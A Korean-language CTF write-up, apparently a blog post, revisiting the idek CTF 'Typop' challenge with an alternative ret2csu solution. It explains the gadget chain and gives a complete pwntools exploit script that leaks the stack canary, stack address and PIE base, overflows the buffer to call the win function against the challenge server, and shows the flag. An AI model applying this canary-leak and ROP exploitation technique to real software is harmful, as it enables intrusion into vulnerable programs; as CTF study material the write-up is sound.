얼마 전에 올렸던 idek CTF에서의 Typop 문제를 언인텐으로 풀이했다는 것을 확인했다. ctftime 구경하다가 이 문제의 다른 풀이를 확인하면서 알게되었다. 당시엔 길이 제한 때문에 csu gadget
을 사용 못한다고 생각했다. 하지만 쓸데 없는 페이로드가 있었고 이것만 없으면 길이가 딱 맞아서 csu gadget
을 사용하여 win
함수를 실행할 수 있다.
이 문제에 대한 정보와 분석은 며칠 전 작성한 게시글을 확인하자.
Solve csu_int, csu_call
위 사진의 가젯을 사용하여 만든 함수는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 def chain (rdi, rsi, rdx, buf, csu_call ): payload = b'' payload += p64(0 ) payload += p64(1 ) payload += p64(rdi) payload += p64(rsi) payload += p64(rdx) payload += p64(buf) payload += p64(csu_call) return payload
코드에 주석으로 표현되어 있는 부분이 바로 쓸데없는 페이로드이다. 이 문제에서 저 코드는 필요 없다.
한편, csu gadget
을 사용하기 위해 가장 중요한 것은 call할 주소가 필요하다는 것이다. 사진의 코드에선 call [r15+rbx*8]
가 여기에 해당한다. rbx
를 0으로 세팅할 것이기 때문에 결국 r15
에 저장된 주소가 호출된다. 우리가 실행하고 싶은 주소는 win
함수 주소이기 때문에 어딘가에다가 win
함수 주소를 적어놓고 그 주소를 r15
에 넣어줘야 한다.
1 2 3 4 5 6 7 payload = b'' payload += b'A' * (0x12 -0x8 ) payload += p64(canary) payload += p64(win) payload += p64(csu_init) payload += chain(ord ('f' ), ord ('l' ), ord ('a' ), stack-0x10 , csu_call)
canary
뒤에 win
함수 주소를 넣어줬다. 사전에 stack 주소를 구해놨으니 win
함수가 저장되어 있는 stack 주소를 구할 수 있다. 페이로드 글자 수도 문제에서 제한 걸었던 0x5a
와 동일하다.
Solve Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context.arch = 'amd64' e = ELF('./chall' ) p = remote('typop.chal.idek.team' , 1337 ) def chain (rdi, rsi, rdx, buf, csu_call ): payload = b'' payload += p64(0 ) payload += p64(1 ) payload += p64(rdi) payload += p64(rsi) payload += p64(rdx) payload += p64(buf) payload += p64(csu_call) return payload p.sendlineafter('survey?\n' , 'y' ) p.sendafter('ctf?\n' , 'A' * 10 + 'B' ) p.recvuntil('B' ) canary = u64(b'\x00' + p.recv(7 )) stack = u64(p.recv(6 ).ljust(8 , b'\x00' )) info('canary: ' + hex (canary)) info('stack: ' + hex (stack)) p.sendafter('feedback?\n' , b'A' *10 + p64(canary)) p.sendlineafter('survey?\n' , 'y' ) p.sendafter('ctf?\n' , b'A' *10 + b'B' *8 + b'C' *7 + b'D' ) p.recvuntil('D' ) pie_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0x1447 info('pie base: ' + hex (pie_base)) win = pie_base + e.sym['win' ] csu_init = pie_base + 0x14ca csu_call = pie_base + 0x14b0 payload = b'' payload += b'A' * (0x12 -0x8 ) payload += p64(canary) payload += p64(win) payload += p64(csu_init) payload += chain(ord ('f' ), ord ('l' ), ord ('a' ), stack-0x10 , csu_call) print (hex (len (payload)))pause() p.sendafter('feedback?\n' , payload) p.interactive()
flag 1 idek{2_guess_typos_do_matter}